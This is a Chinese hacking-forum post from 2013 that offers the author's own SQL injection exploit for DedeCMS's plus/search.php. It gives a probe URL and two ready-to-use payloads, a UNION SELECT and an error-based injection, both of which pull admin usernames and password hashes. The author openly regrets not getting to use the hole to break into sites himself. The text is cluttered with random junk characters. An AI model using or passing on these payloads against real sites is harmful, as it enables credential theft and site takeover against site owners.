转载不加作者名的没JJ* N. e' s8 U. Y8 V6 q# c
) H& i$ y; R, ^+ f( d$ }哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。
2 J5 u) k0 U/ U/ n* [" }: h% l' Y1 p* [# `9 Z3 G& i; k& W
既然已经发出来了，我就把我自己搞的exp发下吧。。唉。
& a+ {3 ?) Z+ ], @0 t+ H t: R3 Y a4 ` F) D, P1 w- w; L
我一般是这样测试的：
4 }3 l, K% d& f4 K3 S" S7 X5 ? v' t9 }0 P0 o6 B3 w6 N
提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a: H" [" q, X+ ?& ^; S1 k; q5 o
# M: C% ~" {/ S6 K转载不加作者名的没JJ0 n$ ^1 ], d! d4 S5 M9 g' U1 b! T
) F. ?; u5 Y% z" F$ y: r `. R0 i作者：鬼哥. {) X% U( N( N8 U3 }$ y1 L9 {& l
' ]8 G, M/ ?7 y& y( \" s% u$ e
: v% l- F6 J4 m: f0 R- z v0 m: t
看结果如果提示
" h: C. I$ H, {- u% E8 ?) `6 I0 |+ p5 H9 A- D0 |& F, o( R6 G8 c) w
Safe Alert: Request Error step 2 !8 U. J1 p' j' o; T- B0 Z0 o }
/ ?+ ?# w$ H4 r+ D那么直接用下面的exp
+ Q# R* y2 z# a+ M- ~$ B/ x6 v6 z
- e4 L) S) B; yxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a# T% @1 Z/ G N8 _( v- A
' T5 e! R, L2 V* H% B$ C; X3 g& J G7 H5 m
看结果如果提示: l7 m+ [4 X! n
0 r6 `6 Y8 h$ c4 R$ }1 t% H2 v: HSafe Alert: Request Error step 1 !% [. y* {9 l: o8 ?2 B, \% @) e. _
3 d8 E N6 ]: [$ w+ b5 R
那么直接用下面的exp
( S6 `! ^9 v( j% @( o! J7 O+ C
/ o) i* G, @& _; Yxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a$ H9 G6 d% r6 B8 W; n; p1 I+ {0 O
3 B, k8 _' U$ W
# @) R# x% _7 U
如果正常显示证明漏洞不存在了。8 N5 ^# o0 | o) a" r: `! N
, I3 v6 }8 e8 c+ D
转载不加作者名的没JJ |
发表于 2013-1-21 08:45:22
收藏
支持
反对